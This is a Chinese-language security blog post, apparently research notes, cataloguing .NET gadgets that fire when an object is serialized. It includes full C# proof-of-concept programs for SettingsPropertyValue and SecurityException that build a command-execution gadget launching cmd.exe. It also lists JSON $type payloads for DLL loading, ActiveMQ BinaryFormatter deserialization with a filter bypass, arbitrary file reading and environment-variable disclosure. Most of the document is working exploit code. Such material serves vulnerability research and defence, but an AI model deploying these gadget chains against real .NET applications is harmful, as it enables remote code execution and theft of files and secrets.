https://exp10it.io/2024/02/dotnet-insecure-serialization/#securityexception

前面的介绍上面的链接已经写的很详细了 这里就不写了

下面的反序列化操作全是在序列化的时候 调用getter来进行完成的

.NET Framework

SettingsPropertyValue

序列化时触发 BinaryFormatter 反序列化

先看其getter方法

image-20240417195326690

进入到这个Deserialize函数中去()

image-20240417195519687

image-20240417195809577

这里有两个if判断 并且是有两个反序列化点

  • this.SerializedValue的值为String类型的话 就会进入到这个GetObjectFromString函数中 这里面的话也可以进行BinaryFormatter反序列化
  • 第二个就是this.SerializedValue为Byte[]类型的话 就会进入到下面的这个BinaryFormatter来进行反序列化操作

image-20240417200100832

刚好这个this.SerializedValue的值就是我们反序列化的内容

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
using System;
using System.Collections.Specialized;
// using ConsoleApp.Gadget;
using Newtonsoft.Json;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
using System.Windows.Markup;
using ConsoleApp.InsecureSerialization;
using Microsoft.VisualStudio.Text.Formatting;

namespace ConsoleApp.InsecureSerialization
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}
internal class SettingsPropertyValueDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");

byte[] data;

using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);

data = mem.ToArray();
}

SettingsProperty property = new SettingsProperty("test");//用这个的目的只是为了给SettingsPropertyValue构造函数传值

SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(property);
settingsPropertyValue.Deserialized = false;
settingsPropertyValue.SerializedValue = data;

//Console.Write(settingsPropertyValue.PropertyValue);

JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All,
};

JsonConvert.SerializeObject(settingsPropertyValue, settings);
}
}

SecurityException

序列化时触发 BinaryFormatter 反序列化

还是先看其getter方法

image-20240417202605443

跟进getMethod函数中去

image-20240417202634658

根据这个函数名字 字节数组转成对象 一猜就知道这个函数里面实现了反序列化操作 跟进

image-20240417202731928

对传入的序列化字节数组进行Binary反序列化操作

但是这里的话有点问题就是

image-20240417203133985

其实说白了就是这里的setter方法在反序列化的时候会被调用来进行给m_serializedMethodInfo赋值 会给我们刚开始传入的值给覆盖掉 但是利用失败

image-20240417203433761

就是这里有问题

部分序列化器在反序列化恢复字段时会调用 Method setter, 导致覆盖 m_serializedMethodInfo 的内容, 无法触发恶意 Gadget

因此需要某个不完全依赖于 setter 赋值的序列化器, 例如 BinaryFormatter/Json.Net, 都支持调用特殊的反序列化构造函数

image-20240417203611917

说白了就是这个调用这个类的构造函数可以替代setter方法 在反序列化的时候就不会导致m_serializedMethodInfo的值被覆盖

另外后续序列化时所使用的序列化器应当直接调用 Method getter, 而不是 GetObjectData 方法

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
using System;
using System.Collections.Specialized;
using System.Diagnostics;
// using ConsoleApp.Gadget;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Web.Script.Serialization;
using System.Windows.Data;
using System.Windows.Markup;
using ConsoleApp.InsecureSerialization;
using Microsoft.VisualStudio.Text.Formatting;

namespace ConsoleApp.InsecureSerialization
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}
internal class SecurityExceptionDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");

byte[] data;

using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);

data = mem.ToArray();
}

SecurityException securityException = new SecurityException();
typeof(SecurityException)
.GetField("m_serializedMethodInfo", BindingFlags.Instance | BindingFlags.NonPublic)
.SetValue(securityException, data);

//Console.Write(securityException.Method);

JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.Serialize(securityException);
}
}

JavaScriptSerializer进行序列化操作的话 调用的是getter方法 而不是GetObjectData方法

CompilerResults

序列化时触发本地 DLL 加载 (Assembly.Load), 类似 AssemblyInstaller

image-20240417211809604

这里的话是进行赋值操作

image-20240417211905393

CompiledAssembly getter 其就会加载我们上面赋值的那个pathToAssembly参数

payload

1
2
3
4
5
{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}

注意自 .NET Framework 4 开始禁止通过 Assembly.Load 加载远程 DLL, 因此需要与写文件 Gadget 结合

第三方库

ActiveMQObjectMessage

1
Apache.NMS.ActiveMQ

<2.1.0版本

序列化时触发 Binary Formatter 反序列化, 兼容大多数基于 setter 的序列化器

这个玩意序列化的时候还挺简单

image-20240417214503692

image-20240417214517125

其Formatter默认是BinaryFormatter、

POC

1
2
3
4
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64encoded-binaryformatter-gadget"
}

2.1.0版本

image-20240417214705912

其实就是多了这一行代码

2.1.0 版本增加了 TrustedClassFilter (SerializationBinder), 需要指定 Connection.DeserializationPolicy

但是对于序列化 gadget 没有影响, 自己手动构造将 DeserializationPolicy 设置为 null 就行

image-20240417215234206

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget",
"Connection": {
"connectionUri": "http://localhost",
"transport": {
"$type": "Apache.NMS.ActiveMQ.Transport.Failover.FailoverTransport, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
},
"clientIdGenerator": {
"$type": "Apache.NMS.ActiveMQ.Util.IdGenerator, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
}
}
}

OptimisticLockedTextFile

Amazon AWSSDK.Core

序列化时可以读取任意文件, 但是需要通过序列化来接收文件内容

image-20240417215958166

构造函数传入filepath 然后调用read()函数

image-20240417220050410

读取文件内容传入OriginalContents和Lines中去

paylaod

1
2
3
4
{
"$type": "Amazon.Runtime.Internal.Util.OptimisticLockedTextFile, AWSSDK.Core, Version=3.3.0.0, Culture=neutral, PublicKeyToken=885c28607f98e604",
"filePath": "C:\\Windows\\win.ini"
}

image-20240417220244090

因为其实private

CustomUri

位于 Castle Core

反序列化时会调用 Environment.ExpandEnvironmentVariables 解析 resourceIdentifier 中的环境变量

同样需要通过序列化来接收数据

image-20240417221142806

image-20240417221159715

1
2
3
4
{
"$type": "Castle.Core.Resource.CustomUri, Castle.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=407dd0808d44fbdc",
"resourceIdentifier": "C:\\test\\%PATHEXT%"
}

QueryPartitionProvider

位于 Microsoft Azure.Core

在反序列化时触发 Json.Net 序列化, 可以与上面的序列化 Gadget 相结合

image-20240417222510921

其构造函数可以进行Json.Net序列化操作 那么可以配合上面的Gadget来打

例如与 ActiveMQObjectMessage 结合

POC

1
2
3
4
5
6
7
8
9
{
"$type": "Microsoft.Azure.Cosmos.Query.Core.QueryPlan.QueryPartitionProvider, Microsoft.Azure.Cosmos.Client, Version=3.32.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"queryengineConfiguration": {
"poc": {
"$type": "Apac he.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget"
}
}
}

序列化的时候刚好调用ActiveMQObjectMessage这个类中的getter方法 然后就会触发里面的反序列化操作

https://exp10it.io/2024/02/dotnet-new-deserialization-gadgets/#xamlimageinfo xz总结的Gadgets 就不重新开文章了 直接写就行了

可以配合我们这一篇文章来看